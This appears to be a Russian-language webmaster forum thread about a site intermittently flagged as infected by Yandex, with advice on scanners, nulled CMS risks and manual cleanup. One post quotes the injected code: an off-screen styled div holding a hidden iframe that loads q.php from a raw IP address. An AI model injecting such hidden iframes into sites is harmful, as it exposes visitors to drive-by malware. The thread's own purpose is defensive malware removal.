[codename]

Попробуйте проверить через antivirus-alarm.ru иногда он даже что то дельное показывает.

[izyalex]

этим совету
sitecheck.sucuri.net/scanner/

[andys1]

Меня смущает 2 вещи,которые не могу понять:
1. Если есть вирус, то он должен быть постоянно,почему в течении месяца Яндес раз 10 уже написал,то есть вирус, то вируса не обнаружено.При том,что ничего конкретного вообще не делалось
2.На хостинге 80 процентов сайтов выводятся с пометкой (угожает безопасности) ,я проверял выборочно,точно также ,в 1 день какойто сайт в выдаче Яндекса покажет зараженный,во втрой день этот же сайт в выдаче именно Яндекса--чистый.

P.S.все пароли уже раз 5 меняли,движок обновили

[Rubilnik]

andys1, а вообще, мой вам совет: лучше не использовать нуленные движки. Недобросовестные хацкеры часто оставляют там сюрпризы для веб-мастеров.

Кстати вирус может срабатывать на определенные устройства, как пример. Или ваш антивирус молча блокирует его. Всё же стоит поискать в файлах тот ip адресок...

[batik]

Я так понял, что это не весь вредоносный код.
<style>.hp60pdz1o { position:absolute; left:-1256px; top:-1442px} </style>-это показывает где выводится <div>.hp60pdz1o</div>
<div class="hp60pdz1o"><iframe *src="ht*p://129.121.35.250/b269c38185437d0f310fbd187c089f92/q.php" width="389" height="473"></iframe> это показывает, как выводится , в данном случае размер окна всплывающего 398*473, в нем отрывается исполняемый файл с адреса ]http://129.121.35.250/b269c38185437d0f310fbd187c089f92/q.php
Видимо, есть что-то в коде, что создает этот <div>.hp60pdz1o</div>.
Я проверять, что там по адресу не стал.
Скачал бы на комп весь и проверил в редакторе на ".hp60pdz1o" и"http://129.121.35.*." и "b269c38185437d0f310fbd187c089f92/q.php" - все совпадения удалил. Потом проверил работоспособность кода.

[mr_crossy]

У вас iframe висит на сайте, сдвинутый в невидимую область. С айпишника в него подтягивается скрипт с вирусом или с кодом, считающимся вредоносным. Скорее всего он закодирован base64, и прогонять все файлы необходимо по слову base64, а затем расшифровывать. Хотя бывает и в наглую вставляют, не шифруя. Здесь поискать стоит по hp60pdz1o. Сливаете все файлы на комп и прогоняете поиском в файлах Тотал Коммандера. Найденный код корректно удалить.

[SPQR]

batik, антивирус не найдет хрень в скриптах. Странно что никто не подсказал http://www.revisium.com/ai/ - для начала хватит.
Если не вылечит - будем принимать более действенные методы.
Надеюсь, про смену паролей лишний раз говорить не надо:)